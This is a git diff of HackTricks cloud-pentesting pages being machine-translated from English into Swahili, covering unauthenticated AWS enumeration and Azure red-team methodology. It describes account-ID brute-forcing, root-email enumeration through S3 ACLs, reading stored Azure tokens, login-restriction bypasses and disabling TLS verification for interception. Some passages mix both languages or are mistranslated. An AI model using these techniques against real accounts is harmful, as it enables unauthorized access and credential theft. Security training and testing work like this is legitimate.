unajua ufunguo wa lebo (kuna baadhi ya zile za kawaida zinazovutia). -Just like with S3 buckets, Data Exchange and API gateways, It's possible to find the account ID of an account abusing the **`aws:ResourceAccount`** **Policy Condition Key** from a public lambda URL. This is done by finding the account ID one character at a time abusing wildcards in the **`aws:ResourceAccount`** section of the policy.\ -This technique also allows to get **values of tags** if you know the tag key (there some default interesting ones). - -You can find more information in the [**original research**](https://blog.plerion.com/conditional-love-for-aws-metadata-enumeration/) and the tool [**conditional-love**](https://github.com/plerionhq/conditional-love/) to automate this exploitation. +Unaweza kupata maelezo zaidi katika [**utafiti wa asili**](https://blog.plerion.com/conditional-love-for-aws-metadata-enumeration/) na zana [**conditional-love**](https://github.com/plerionhq/conditional-love/) ili kuendesha unyakuzi huu kiotomatiki. {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-media-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-media-unauthenticated-enum.md index 2bbc4fdd6..b6263ac3b 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-media-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-media-unauthenticated-enum.md @@ -2,16 +2,10 @@ {{#include ../../../banners/hacktricks-training.md}} -### Public URL template - +### Kiolezo cha URL ya Umma ``` https://{random_id}.mediaconvert.{region}.amazonaws.com https://{random_id}.mediapackage.{region}.amazonaws.com/in/v1/{random_id}/channel https://{random_id}.data.mediastore.{region}.amazonaws.com ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-mq-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-mq-unauthenticated-enum.md index ab06211e2..35a4b6fe4 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-mq-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-mq-unauthenticated-enum.md @@ -6,21 +6,15 @@ ### **RabbitMQ** -In case of **RabbitMQ**, by **default public access** and ssl are enabled. But you need **credentials** to access (`amqps://.mq.us-east-1.amazonaws.com:5671`ā€‹ā€‹). Moreover, it's possible to **access the web management console** if you know the credentials in `https://b-.mq.us-east-1.amazonaws.com/` +Katika kesi ya **RabbitMQ**, kwa **kawaida ufikiaji wa umma** na ssl vimewezeshwa. Lakini unahitaji **akikisho** ili kufikia (`amqps://.mq.us-east-1.amazonaws.com:5671`ā€‹ā€‹). Zaidi ya hayo, inawezekana **kufikia konsoli ya usimamizi wa wavuti** ikiwa unajua akikisho katika `https://b-.mq.us-east-1.amazonaws.com/` ### ActiveMQ -In case of **ActiveMQ**, by default public access and ssl are enabled, but you need credentials to access. +Katika kesi ya **ActiveMQ**, kwa kawaida ufikiaji wa umma na ssl vimewezeshwa, lakini unahitaji akikisho ili kufikia. ### Public URL template - ``` https://b-{random_id}-{1,2}.mq.{region}.amazonaws.com:8162/ ssl://b-{random_id}-{1,2}.mq.{region}.amazonaws.com:61617 ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-msk-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-msk-unauthenticated-enum.md index 9bbbd408d..aac72f138 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-msk-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-msk-unauthenticated-enum.md @@ -4,19 +4,13 @@ ### Public Port -It's possible to **expose the Kafka broker to the public**, but you will need **credentials**, IAM permissions or a valid certificate (depending on the auth method configured). +Inawezekana **kufichua broker ya Kafka kwa umma**, lakini utahitaji **vithibitisho**, ruhusa za IAM au cheti halali (kulingana na njia ya uthibitishaji iliyowekwa). -It's also **possible to disabled authentication**, but in that case **it's not possible to directly expose** the port to the Internet. +Pia **inawezekana kuzima uthibitishaji**, lakini katika kesi hiyo **haiwezekani kufichua moja kwa moja** bandari hiyo kwa Mtandao. ### Public URL template - ``` b-{1,2,3,4}.{user_provided}.{random_id}.c{1,2}.kafka.{region}.amazonaws.com {user_provided}.{random_id}.c{1,2}.kafka.useast-1.amazonaws.com ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-rds-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-rds-unauthenticated-enum.md index 218300e3f..534b0b671 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-rds-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-rds-unauthenticated-enum.md @@ -4,7 +4,7 @@ ## RDS -For more information check: +Kwa maelezo zaidi angalia: {{#ref}} ../aws-services/aws-relational-database-rds-enum.md @@ -12,12 +12,11 @@ For more information check: ## Public Port -It's possible to give public access to the **database from the internet**. The attacker will still need to **know the username and password,** IAM access, or an **exploit** to enter in the database. +Inawezekana kutoa ufikiaji wa umma kwa **database kutoka kwenye mtandao**. Mshambuliaji bado atahitaji **kujua jina la mtumiaji na nenosiri,** ufikiaji wa IAM, au **exploit** kuingia kwenye database. ## Public RDS Snapshots -AWS allows giving **access to anyone to download RDS snapshots**. You can list these public RDS snapshots very easily from your own account: - +AWS inaruhusu kutoa **ufikiaji kwa mtu yeyote kupakua RDS snapshots**. Unaweza kuorodhesha hizi RDS snapshots za umma kwa urahisi kutoka kwenye akaunti yako: ```bash # Public RDS snapshots aws rds describe-db-snapshots --include-public @@ -33,16 +32,9 @@ aws rds describe-db-snapshots --snapshot-type public [--region us-west-2] ## Even if in the console appear as there are public snapshot it might be public ## snapshots from other accounts used by the current account ``` - -### Public URL template - +### Kiolezo cha URL ya Umma ``` mysql://{user_provided}.{random_id}.{region}.rds.amazonaws.com:3306 postgres://{user_provided}.{random_id}.{region}.rds.amazonaws.com:5432 ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-redshift-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-redshift-unauthenticated-enum.md index ab1577a1e..87a580f10 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-redshift-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-redshift-unauthenticated-enum.md @@ -2,14 +2,8 @@ {{#include ../../../banners/hacktricks-training.md}} -### Public URL template - +### Kiolezo cha URL ya Umma ``` {user_provided}...redshift.amazonaws.com ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum.md index 28c7b1673..e27545fb8 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum.md @@ -4,7 +4,7 @@ ## S3 Public Buckets -A bucket is considered **ā€œpublicā€** if **any user can list the contents** of the bucket, and **ā€œprivateā€** if the bucket's contents can **only be listed or written by certain users**. +A bucket is considered **ā€œpublicā€** if **mtumiaji yeyote anaweza kuorodhesha maudhui** ya bucket, and **ā€œprivateā€** if the bucket's contents can **only be listed or written by certain users**. Companies might have **buckets permissions miss-configured** giving access either to everything or to everyone authenticated in AWS in any account (so to anyone). Note, that even with such misconfigurations some actions might not be able to be performed as buckets might have their own access control lists (ACLs). @@ -20,16 +20,16 @@ Different methods to find when a webpage is using AWS to storage some resources: - Using burp (**spidering** the web) or by manually navigating through the page all **resources** **loaded** will be save in the History. - **Check for resources** in domains like: - ``` - http://s3.amazonaws.com/[bucket_name]/ - http://[bucket_name].s3.amazonaws.com/ - ``` +``` +http://s3.amazonaws.com/[bucket_name]/ +http://[bucket_name].s3.amazonaws.com/ +``` - Check for **CNAMES** as `resources.domain.com` might have the CNAME `bucket.s3.amazonaws.com` - Check [https://buckets.grayhatwarfare.com](https://buckets.grayhatwarfare.com/), a web with already **discovered open buckets**. - The **bucket name** and the **bucket domain name** needs to be **the same.** - - **flaws.cloud** is in **IP** 52.92.181.107 and if you go there it redirects you to [https://aws.amazon.com/s3/](https://aws.amazon.com/s3/). Also, `dig -x 52.92.181.107` gives `s3-website-us-west-2.amazonaws.com`. - - To check it's a bucket you can also **visit** [https://flaws.cloud.s3.amazonaws.com/](https://flaws.cloud.s3.amazonaws.com/). +- **flaws.cloud** is in **IP** 52.92.181.107 and if you go there it redirects you to [https://aws.amazon.com/s3/](https://aws.amazon.com/s3/). Also, `dig -x 52.92.181.107` gives `s3-website-us-west-2.amazonaws.com`. +- To check it's a bucket you can also **visit** [https://flaws.cloud.s3.amazonaws.com/](https://flaws.cloud.s3.amazonaws.com/). #### Brute-Force @@ -86,7 +86,6 @@ You can find all the supported regions by AWS in [**https://docs.aws.amazon.com/ #### By DNS You can get the region of a bucket with a **`dig`** and **`nslookup`** by doing a **DNS request of the discovered IP**: - ```bash dig flaws.cloud ;; ANSWER SECTION: @@ -96,7 +95,6 @@ nslookup 52.218.192.11 Non-authoritative answer: 11.192.218.52.in-addr.arpa name = s3-website-us-west-2.amazonaws.com. ``` - Check that the resolved domain have the word "website".\ You can access the static website going to: `flaws.cloud.s3-website-us-west-2.amazonaws.com`\ or you can access the bucket visiting: `flaws.cloud.s3-us-west-2.amazonaws.com` @@ -109,7 +107,7 @@ If you try to access a bucket, but in the **domain name you specify another regi ### Enumerating the bucket -To test the openness of the bucket a user can just enter the URL in their web browser. A private bucket will respond with "Access Denied". A public bucket will list the first 1,000 objects that have been stored. +Ili kujaribu ufunguzi wa bucket, mtumiaji anaweza tu kuingiza URL katika kivinjari chao cha wavuti. Bucket ya kibinafsi itajibu na "Access Denied". Bucket ya umma itataja vitu 1,000 vya kwanza ambavyo vimehifadhiwa. Open to everyone: @@ -120,7 +118,6 @@ Private: ![](<../../../images/image (83).png>) You can also check this with the cli: - ```bash #Use --no-sign-request for check Everyones permissions #Use --profile to indicate the AWS profile(keys) that youwant to use: Check for "Any Authenticated AWS User" permissions @@ -128,22 +125,18 @@ You can also check this with the cli: #Opcionally you can select the region if you now it aws s3 ls s3://flaws.cloud/ [--no-sign-request] [--profile ] [ --recursive] [--region us-west-2] ``` +Ikiwa bakuli haina jina la kikoa, unapojaribu kuhesabu, **weka jina la bakuli tu** na si kikoa zima la AWSs3. Mfano: `s3://` -If the bucket doesn't have a domain name, when trying to enumerate it, **only put the bucket name** and not the whole AWSs3 domain. Example: `s3://` - -### Public URL template - +### Kiolezo cha URL ya Umma ``` https://{user_provided}.s3.amazonaws.com ``` +### Pata Kitambulisho cha Akaunti kutoka kwa Baki ya Umma -### Get Account ID from public Bucket - -It's possible to determine an AWS account by taking advantage of the new **`S3:ResourceAccount`** **Policy Condition Key**. This condition **restricts access based on the S3 bucket** an account is in (other account-based policies restrict based on the account the requesting principal is in).\ -And because the policy can contain **wildcards** it's possible to find the account number **just one number at a time**. - -This tool automates the process: +Inawezekana kubaini akaunti ya AWS kwa kutumia faida ya **`S3:ResourceAccount`** **Key ya Masharti ya Sera**. Masharti haya **yanapunguza ufikiaji kulingana na baki ya S3** ambayo akaunti iko ndani (sera nyingine zinazotegemea akaunti zinapunguza kulingana na akaunti ambayo kiongozi anayehitaji yuko ndani).\ +Na kwa sababu sera inaweza kuwa na **wildcards** inawezekana kupata nambari ya akaunti **nambari moja kwa wakati**. +Chombo hiki kinara mchakato: ```bash # Installation pipx install s3-account-search @@ -153,13 +146,11 @@ s3-account-search arn:aws:iam::123456789012:role/s3_read s3://my-bucket # With an object s3-account-search arn:aws:iam::123456789012:role/s3_read s3://my-bucket/path/to/object.ext ``` +Hii mbinu pia inafanya kazi na URL za API Gateway, URL za Lambda, seti za data za Data Exchange na hata kupata thamani ya lebo (ikiwa unajua ufunguo wa lebo). Unaweza kupata maelezo zaidi katika [**utafiti wa asili**](https://blog.plerion.com/conditional-love-for-aws-metadata-enumeration/) na zana [**conditional-love**](https://github.com/plerionhq/conditional-love/) ili kuendesha uhalifu huu kiotomatiki. -This technique also works with API Gateway URLs, Lambda URLs, Data Exchange data sets and even to get the value of tags (if you know the tag key). You can find more information in the [**original research**](https://blog.plerion.com/conditional-love-for-aws-metadata-enumeration/) and the tool [**conditional-love**](https://github.com/plerionhq/conditional-love/) to automate this exploitation. - -### Confirming a bucket belongs to an AWS account - -As explained in [**this blog post**](https://blog.plerion.com/things-you-wish-you-didnt-need-to-know-about-s3/)**, if you have permissions to list a bucket** itā€™s possible to confirm an accountID the bucket belongs to by sending a request like: +### Kuthibitisha kwamba ndoo inamilikiwa na akaunti ya AWS +Kama ilivyoelezwa katika [**hiki kipande cha blog**](https://blog.plerion.com/things-you-wish-you-didnt-need-to-know-about-s3/)**, ikiwa una ruhusa ya kuorodhesha ndoo** inawezekana kuthibitisha accountID ambayo ndoo inamilikiwa kwa kutuma ombi kama: ```bash curl -X GET "[bucketname].amazonaws.com/" \ -H "x-amz-expected-bucket-owner: [correct-account-id]" @@ -167,41 +158,34 @@ curl -X GET "[bucketname].amazonaws.com/" \ ... ``` - If the error is an ā€œAccess Deniedā€ it means that the account ID was wrong. ### Used Emails as root account enumeration -As explained in [**this blog post**](https://blog.plerion.com/things-you-wish-you-didnt-need-to-know-about-s3/), it's possible to check if an email address is related to any AWS account by **trying to grant an email permissions** over a S3 bucket via ACLs. If this doesn't trigger an error, it means that the email is a root user of some AWS account: - +As explained in [**this blog post**](https://blog.plerion.com/things-you-wish-you-didnt-need-to-know-about-s3/), it's possible to check if an email address is related to any AWS account by **kujaribu kutoa ruhusa kwa barua pepe** juu ya S3 bucket kupitia ACLs. If this doesn't trigger an error, it means that the email is a root user of some AWS account: ```python s3_client.put_bucket_acl( - Bucket=bucket_name, - AccessControlPolicy={ - 'Grants': [ - { - 'Grantee': { - 'EmailAddress': 'some@emailtotest.com', - 'Type': 'AmazonCustomerByEmail', - }, - 'Permission': 'READ' - }, - ], - 'Owner': { - 'DisplayName': 'Whatever', - 'ID': 'c3d78ab5093a9ab8a5184de715d409c2ab5a0e2da66f08c2f6cc5c0bdeadbeef' - } - } +Bucket=bucket_name, +AccessControlPolicy={ +'Grants': [ +{ +'Grantee': { +'EmailAddress': 'some@emailtotest.com', +'Type': 'AmazonCustomerByEmail', +}, +'Permission': 'READ' +}, +], +'Owner': { +'DisplayName': 'Whatever', +'ID': 'c3d78ab5093a9ab8a5184de715d409c2ab5a0e2da66f08c2f6cc5c0bdeadbeef' +} +} ) ``` - -## References +## Marejeo - [https://www.youtube.com/watch?v=8ZXRw4Ry3mQ](https://www.youtube.com/watch?v=8ZXRw4Ry3mQ) - [https://cloudar.be/awsblog/finding-the-account-id-of-any-public-s3-bucket/](https://cloudar.be/awsblog/finding-the-account-id-of-any-public-s3-bucket/) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sns-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sns-unauthenticated-enum.md index 7978eff36..67a4579f3 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sns-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sns-unauthenticated-enum.md @@ -4,22 +4,18 @@ ## SNS -For more information about SNS check: +Kwa maelezo zaidi kuhusu SNS angalia: {{#ref}} ../aws-services/aws-sns-enum.md {{#endref}} -### Open to All +### Iko Wazi kwa Wote -When you configure a SNS topic from the web console it's possible to indicate that **Everyone can publish and subscribe** to the topic: +Unapokamilisha kusanidi mada ya SNS kutoka kwa konsoli ya wavuti, inawezekana kuashiria kwamba **Kila Mtu anaweza kuchapisha na kujiunga** na mada hiyo:
-So if you **find the ARN of topics** inside the account (or brute forcing potential names for topics) you can **check** if you can **publish** or **subscribe** to **them**. +Hivyo ikiwa **utapata ARN ya mada** ndani ya akaunti (au kujaribu majina yanayoweza kuwa ya mada) unaweza **kuangalia** ikiwa unaweza **kuchapisha** au **kujiunga** na **zao**. {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sqs-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sqs-unauthenticated-enum.md index a5006a63b..b2842c30d 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sqs-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sqs-unauthenticated-enum.md @@ -4,24 +4,18 @@ ## SQS -For more information about SQS check: +Kwa maelezo zaidi kuhusu SQS angalia: {{#ref}} ../aws-services/aws-sqs-and-sns-enum.md {{#endref}} -### Public URL template - +### Mfano wa URL ya Umma ``` https://sqs.[region].amazonaws.com/[account-id]/{user_provided} ``` - ### Check Permissions -It's possible to misconfigure a SQS queue policy and grant permissions to everyone in AWS to send and receive messages, so if you get the ARN of queues try if you can access them. +Inawezekana kukosea usanidi wa sera ya SQS na kutoa ruhusa kwa kila mtu katika AWS kutuma na kupokea ujumbe, hivyo ikiwa unapata ARN ya foleni jaribu kuona kama unaweza kuzipata. {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/azure-security/README.md b/src/pentesting-cloud/azure-security/README.md index 9d2de65fc..df61179da 100644 --- a/src/pentesting-cloud/azure-security/README.md +++ b/src/pentesting-cloud/azure-security/README.md @@ -10,46 +10,46 @@ az-basic-information/ ## Azure Pentester/Red Team Methodology -In order to audit an AZURE environment it's very important to know: which **services are being used**, what is **being exposed**, who has **access** to what, and how are internal Azure services and **external services** connected. +Ili kukagua mazingira ya AZURE ni muhimu sana kujua: ni **huduma zipi zinatumika**, nini kinachoweza **kuonyeshwa**, nani ana **ufikiaji** wa nini, na jinsi huduma za ndani za Azure na **huduma za nje** zinavyounganishwa. -From a Red Team point of view, the **first step to compromise an Azure environment** is to manage to obtain some **credentials** for Azure AD. Here you have some ideas on how to do that: +Kutoka kwa mtazamo wa Red Team, **hatua ya kwanza ya kuathiri mazingira ya Azure** ni kupata **akikazi** za Azure AD. Hapa kuna mawazo kadhaa juu ya jinsi ya kufanya hivyo: -- **Leaks** in github (or similar) - OSINT -- **Social** Engineering -- **Password** reuse (password leaks) -- Vulnerabilities in Azure-Hosted Applications - - [**Server Side Request Forgery**](https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf) with access to metadata endpoint - - **Local File Read** - - `/home/USERNAME/.azure` - - `C:\Users\USERNAME\.azure` - - The file **`accessTokens.json`** in `az cli` before 2.30 - Jan2022 - stored **access tokens in clear text** - - The file **`azureProfile.json`** contains **info** about logged user. - - **`az logout`** removes the token. - - Older versions of **`Az PowerShell`** stored **access tokens** in **clear** text in **`TokenCache.dat`**. It also stores **ServicePrincipalSecret** in **clear**-text in **`AzureRmContext.json`**. The cmdlet **`Save-AzContext`** can be used to **store** **tokens**.\ - Use `Disconnect-AzAccount` to remove them. -- 3rd parties **breached** -- **Internal** Employee -- [**Common Phishing**](https://book.hacktricks.xyz/generic-methodologies-and-resources/phishing-methodology) (credentials or Oauth App) - - [Device Code Authentication Phishing](az-unauthenticated-enum-and-initial-entry/az-device-code-authentication-phishing.md) +- **Mvujo** katika github (au sawa) - OSINT +- **Uhandisi** wa Kijamii +- **Tumia tena** nywila (mvujo wa nywila) +- Uthibitisho katika Maombi ya Azure-Hosted +- [**Server Side Request Forgery**](https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf) yenye ufikiaji wa metadata endpoint +- **Kusoma Faili za Mitaa** +- `/home/USERNAME/.azure` +- `C:\Users\USERNAME\.azure` +- Faili **`accessTokens.json`** katika `az cli` kabla ya 2.30 - Jan2022 - ilihifadhi **tokens za ufikiaji kwa maandiko wazi** +- Faili **`azureProfile.json`** ina **habari** kuhusu mtumiaji aliyeingia. +- **`az logout`** inafuta token. +- Matoleo ya zamani ya **`Az PowerShell`** yalihifadhi **tokens za ufikiaji** kwa **maandiko** wazi katika **`TokenCache.dat`**. Pia inahifadhi **ServicePrincipalSecret** kwa **maandiko** wazi katika **`AzureRmContext.json`**. Cmdlet **`Save-AzContext`** inaweza kutumika kuhifadhi **tokens**.\ +Tumia `Disconnect-AzAccount` kuondoa hizo. +- Watu wa 3rd **walivunja** +- **Mfanyakazi** wa Ndani +- [**Phishing ya Kawaida**](https://book.hacktricks.xyz/generic-methodologies-and-resources/phishing-methodology) (akikazi au Oauth App) +- [Phishing ya Uthibitisho wa Kifaa](az-unauthenticated-enum-and-initial-entry/az-device-code-authentication-phishing.md) - [Azure **Password Spraying**](az-unauthenticated-enum-and-initial-entry/az-password-spraying.md) -Even if you **haven't compromised any user** inside the Azure tenant you are attacking, you can **gather some information** from it: +Hata kama huja **athiri mtumiaji yeyote** ndani ya tenant ya Azure unayoishambulia, unaweza **kusanya habari** kutoka kwake: {{#ref}} az-unauthenticated-enum-and-initial-entry/ {{#endref}} > [!NOTE] -> After you have managed to obtain credentials, you need to know **to who do those creds belong**, and **what they have access to**, so you need to perform some basic enumeration: +> Baada ya kufanikiwa kupata akiba, unahitaji kujua **ni nani anayemiliki hizo akiba**, na **nini wana ufikiaji**, hivyo unahitaji kufanya uhesabu wa msingi: ## Basic Enumeration > [!NOTE] -> Remember that the **noisiest** part of the enumeration is the **login**, not the enumeration itself. +> Kumbuka kwamba sehemu ya **sauti kubwa** ya uhesabu ni **kuingia**, si uhesabu yenyewe. ### SSRF -If you found a SSRF in a machine inside Azure check this page for tricks: +Ikiwa umepata SSRF katika mashine ndani ya Azure angalia ukurasa huu kwa mbinu: {{#ref}} https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf @@ -59,14 +59,14 @@ https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/clou
-In cases where you have some valid credentials but you cannot login, these are some common protections that could be in place: +Katika hali ambapo una akiba halali lakini huwezi kuingia, hizi ni baadhi ya ulinzi wa kawaida ambao unaweza kuwepo: -- **IP whitelisting** -- You need to compromise a valid IP -- **Geo restrictions** -- Find where the user lives or where are the offices of the company and get a IP from the same city (or contry at least) -- **Browser** -- Maybe only a browser from certain OS (Windows, Linux, Mac, Android, iOS) is allowed. Find out which OS the victim/company uses. -- You can also try to **compromise Service Principal credentials** as they usually are less limited and its login is less reviewed +- **IP whitelisting** -- Unahitaji kuathiri IP halali +- **Geo restrictions** -- Tafuta mahali mtumiaji anaishi au ofisi za kampuni na pata IP kutoka jiji moja (au nchi angalau) +- **Browser** -- Labda ni kivinjari tu kutoka OS fulani (Windows, Linux, Mac, Android, iOS) kinachoruhusiwa. Jua ni OS ipi mwathirika/kampuni inatumia. +- Unaweza pia kujaribu **kuathiri akiba za Service Principal** kwani kawaida huwa na mipaka kidogo na kuingia kwake hakuchunguzwi sana -After bypassing it, you might be able to get back to your initial setup and you will still have access. +Baada ya kuipita, unaweza kuwa na uwezo wa kurudi kwenye mipangilio yako ya awali na bado utakuwa na ufikiaji. ### Subdomain Takeover @@ -75,13 +75,12 @@ After bypassing it, you might be able to get back to your initial setup and you ### Whoami > [!CAUTION] -> Learn **how to install** az cli, AzureAD and Az PowerShell in the [**Az - Entra ID**](az-services/az-azuread.md) section. +> Jifunze **jinsi ya kufunga** az cli, AzureAD na Az PowerShell katika sehemu ya [**Az - Entra ID**](az-services/az-azuread.md). -One of the first things you need to know is **who you are** (in which environment you are): +Moja ya mambo ya kwanza unahitaji kujua ni **wewe ni nani** (katika mazingira gani uko): {{#tabs }} {{#tab name="az cli" }} - ```bash az account list az account tenant list # Current tenant info @@ -90,22 +89,18 @@ az ad signed-in-user show # Current signed-in user az ad signed-in-user list-owned-objects # Get owned objects by current user az account management-group list #Not allowed by default ``` - {{#endtab }} {{#tab name="AzureAD" }} - ```powershell #Get the current session state Get-AzureADCurrentSessionInfo #Get details of the current tenant Get-AzureADTenantDetail ``` - {{#endtab }} {{#tab name="Az PowerShell" }} - ```powershell # Get the information about the current context (Account, Tenant, Subscription etc.) Get-AzContext @@ -121,53 +116,49 @@ Get-AzResource Get-AzRoleAssignment # For all users Get-AzRoleAssignment -SignInName test@corp.onmicrosoft.com # For current user ``` - {{#endtab }} {{#endtabs }} > [!CAUTION] -> Oone of the most important commands to enumerate Azure is **`Get-AzResource`** from Az PowerShell as it lets you **know the resources your current user has visibility over**. +> Moja ya amri muhimu zaidi za kuhesabu Azure ni **`Get-AzResource`** kutoka Az PowerShell kwani inakuwezesha **kujua rasilimali ambazo mtumiaji wako wa sasa anaweza kuona**. > -> You can get the same info in the **web console** going to [https://portal.azure.com/#view/HubsExtension/BrowseAll](https://portal.azure.com/#view/HubsExtension/BrowseAll) or searching for "All resources" +> Unaweza kupata taarifa sawa katika **konsoli ya wavuti** ukitembelea [https://portal.azure.com/#view/HubsExtension/BrowseAll](https://portal.azure.com/#view/HubsExtension/BrowseAll) au kutafuta "All resources" ### ENtra ID Enumeration -By default, any user should have **enough permissions to enumerate** things such us, users, groups, roles, service principals... (check [default AzureAD permissions](az-basic-information/#default-user-permissions)).\ -You can find here a guide: +Kwa kawaida, mtumiaji yeyote anapaswa kuwa na **idhini ya kutosha kuhesabu** mambo kama vile, watumiaji, vikundi, majukumu, wahusika wa huduma... (angalia [idhini za AzureAD za kawaida](az-basic-information/#default-user-permissions)).\ +Unaweza kupata hapa mwongozo: {{#ref}} az-services/az-azuread.md {{#endref}} > [!NOTE] -> Now that you **have some information about your credentials** (and if you are a red team hopefully you **haven't been detected**). It's time to figure out which services are being used in the environment.\ -> In the following section you can check some ways to **enumerate some common services.** +> Sasa kwamba una **taarifa fulani kuhusu akreditivu zako** (na ikiwa wewe ni timu nyekundu matumaini huja **gundulika**). Ni wakati wa kubaini ni huduma zipi zinatumika katika mazingira.\ +> Katika sehemu ifuatayo unaweza kuangalia njia kadhaa za **kuhesabu huduma za kawaida.** ## App Service SCM -Kudu console to log in to the App Service 'container'. +Konsoli ya Kudu kuingia kwenye 'konteina' ya App Service. ## Webshell -Use portal.azure.com and select the shell, or use shell.azure.com, for a bash or powershell. The 'disk' of this shell are stored as an image file in a storage-account. +Tumia portal.azure.com na uchague shell, au tumia shell.azure.com, kwa bash au powershell. 'disk' ya shell hii inahifadhiwa kama faili ya picha katika akaunti ya hifadhi. ## Azure DevOps -Azure DevOps is separate from Azure. It has repositories, pipelines (yaml or release), boards, wiki, and more. Variable Groups are used to store variable values and secrets. +Azure DevOps ni tofauti na Azure. Ina hazina, mipangilio (yaml au toleo), bodi, wiki, na zaidi. Makundi ya Vigezo yanatumika kuhifadhi thamani za vigezo na siri. ## Debug | MitM az cli -Using the parameter **`--debug`** it's possible to see all the requests the tool **`az`** is sending: - +Kwa kutumia parameter **`--debug`** inawezekana kuona maombi yote ambayo chombo **`az`** kinatuma: ```bash az account management-group list --output table --debug ``` - -In order to do a **MitM** to the tool and **check all the requests** it's sending manually you can do: +Ili kufanya **MitM** kwa zana na **kuangalia maombi yote** inayopeleka kwa mikono unaweza kufanya: {{#tabs }} {{#tab name="Bash" }} - ```bash export ADAL_PYTHON_SSL_NO_VERIFY=1 export AZURE_CLI_DISABLE_CONNECTION_VERIFICATION=1 @@ -180,25 +171,21 @@ export HTTP_PROXY="http://127.0.0.1:8080" openssl x509 -in ~/Downloads/cacert.der -inform DER -out ~/Downloads/cacert.pem -outform PEM export REQUESTS_CA_BUNDLE=/Users/user/Downloads/cacert.pem ``` - {{#endtab }} {{#tab name="PS" }} - ```bash $env:ADAL_PYTHON_SSL_NO_VERIFY=1 $env:AZURE_CLI_DISABLE_CONNECTION_VERIFICATION=1 $env:HTTPS_PROXY="http://127.0.0.1:8080" $env:HTTP_PROXY="http://127.0.0.1:8080" ``` - {{#endtab }} {{#endtabs }} -## Automated Recon Tools +## Zana za Upelelezi za Kiotomatiki ### [**ROADRecon**](https://github.com/dirkjanm/ROADtools) - ```powershell cd ROADTools pipenv shell @@ -206,9 +193,7 @@ roadrecon auth -u test@corp.onmicrosoft.com -p "Welcome2022!" roadrecon gather roadrecon gui ``` - ### [Monkey365](https://github.com/silverhack/monkey365) - ```powershell Import-Module monkey365 Get-Help Invoke-Monkey365 @@ -216,9 +201,7 @@ Get-Help Invoke-Monkey365 -Detailed Invoke-Monkey365 -IncludeEntraID -ExportTo HTML -Verbose -Debug -InformationAction Continue Invoke-Monkey365 - Instance Azure -Analysis All -ExportTo HTML ``` - ### [**Stormspotter**](https://github.com/Azure/Stormspotter) - ```powershell # Start Backend cd stormspotter\backend\ @@ -236,9 +219,7 @@ az login -u test@corp.onmicrosoft.com -p Welcome2022! python stormspotter\stormcollector\sscollector.pyz cli # This will generate a .zip file to upload in the frontend (127.0.0.1:9091) ``` - ### [**AzureHound**](https://github.com/BloodHoundAD/AzureHound) - ```powershell # You need to use the Az PowerShell and Azure AD modules: $passwd = ConvertTo-SecureString "Welcome2022!" -AsPlainText -Force @@ -294,9 +275,7 @@ MATCH p=(m:User)-[r:AZResetPassword|AZOwns|AZUserAccessAdministrator|AZContribu ## All Azure AD Groups that are synchronized with On-Premise AD MATCH (n:Group) WHERE n.objectid CONTAINS 'S-1-5' AND n.azsyncid IS NOT NULL RETURN 